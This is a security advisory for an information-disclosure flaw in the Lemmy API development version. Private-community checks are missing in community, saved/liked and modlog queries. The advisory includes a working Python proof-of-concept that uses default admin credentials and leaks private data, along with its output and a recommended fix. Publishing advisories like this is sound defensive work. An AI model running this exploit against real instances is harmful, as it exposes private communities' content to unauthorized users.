PT-2026-41483 · Crates.Io · Lemmy Api
Published
2026-05-06
·
Updated
2026-05-06
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
NOTE: Only affects development version.
Summary
Lemmy applies private-community checks in
PostView and CommentView, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community sidebar and summary fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.Details
CommunityView::read() and CommunityQuery::list() call visible communities only(), but they do not add the private-community filter used by post and comment reads:rust
query = my local user.visible communities only(query);
query.first(conn).await.with lemmy type(LemmyErrorType::NotFound)PersonSavedCombinedQuery::list() and PersonLikedCombinedQuery::list() join community actions, but they only filter by the requesting person id. They do not require community actions.follow state = Accepted when the community has visibility = Private.The modlog query returns
ListingType::All without a visibility predicate:rust
query = match self.listing type.unwrap or(ListingType::All) {
ListingType::All => query,The control paths show the expected check.
PostView::read() and CommentView::read() both filter private communities to accepted followers:rust
community::visibility
.ne(CommunityVisibility::Private)
.or(community actions::follow state.eq(CommunityFollowerState::Accepted))Proof of Concept
The following script reproduces the leak against a fresh Lemmy instance. Tested against
dessalines/lemmy:nightly with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.python
import requests, random, string
BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL
ADMIN USER = "lemmy"
ADMIN PASS = "lemmylemmy"
PASSWORD = "Password123456!"
def req(method, path, token=None, params=None, **body):
headers = {}
if token:
headers["Authorization"] = "Bearer " + token
return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)
def register(name):
r = req("POST", "/account/auth/register", username=name, password=PASSWORD,
password verify=PASSWORD, email=name + "@example.test")
r.raise for status()
token = r.json()["jwt"]
person id = req("GET", "/account", token).json()["local user view"]["person"]["id"]
return token, person id
def show(label, response, marker):
text = response.text
print("
" + label + ": HTTP", response.status code)
print(text[:700])
print("contains marker:", marker in text)
suffix = "poc" + "".join(random.choice(string.ascii lowercase) for in range(6))
admin = req("POST", "/account/auth/login", username or email=ADMIN USER, password=ADMIN PASS).json()["jwt"]
req("PUT", "/site", admin, registration mode="open", email verification required=False)
alice, alice id = register("alice" + suffix)
bob, = register("bob" + suffix)
secret = "SECRET " + suffix
community = req("POST", "/community", admin,
name="priv" + suffix,
title="Private Proof " + suffix,
sidebar=secret + " sidebar",
summary=secret + " summary",
visibility="private").json()["community view"]["community"]
community id = community["id"]
post = req("POST", "/post", admin, name="secret post " + suffix,
community id=community id, body=secret + " post body").json()["post view"]["post"]
post id = post["id"]
show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community id}), secret)
show("Bob direct post read control", req("GET", "/post", bob, params={"id": post id}), secret)
req("POST", "/community/follow", alice, community id=community id, follow=True)
req("POST", "/community/pending follows/approve", admin,
community id=community id, follower id=alice id, approve=True)
req("PUT", "/post/save", alice, post id=post id, save=True)
req("POST", "/post/like", alice, post id=post id, is upvote=True)
req("POST", "/community/follow", alice, community id=community id, follow=False)
show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post id}), secret)
show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret)
show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret)
mod comm = req("POST", "/community", admin,
name="modlog" + suffix,
title="Private Modlog " + suffix,
sidebar=secret + " modlog sidebar",
summary=secret + " modlog summary",
visibility="private").json()["community view"]["community"]
mod post = req("POST", "/post", admin, name=secret + " removed post",
community id=mod comm["id"], body="body").json()["post view"]["post"]
req("POST", "/post/remove", admin, post id=mod post["id"], removed=True, reason="poc")
show("Unauthenticated modlog", req("GET", "/modlog", params={"listing type": "all", "limit": 50}), secret)
Output:
text
Bob reads private community metadata: HTTP 200
contains marker: True
Bob direct post read control: HTTP 404
contains marker: False
Alice direct post read after leaving: HTTP 404
contains marker: False
Alice saved list after leaving: HTTP 200
contains marker: True
Alice liked list after leaving: HTTP 200
contains marker: True
Unauthenticated modlog: HTTP 200
contains marker: TrueImpact
Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.
Recommended Fix
Apply the same private-community filter used by
PostView and CommentView to CommunityView::read(), CommunityQuery::list(), PersonSavedCombinedQuery::list(), PersonLikedCombinedQuery::list(), and the ListingType::All branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same 404 behavior as GET /post and GET /comment.Found by aisafe.io
Fix
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Lemmy Api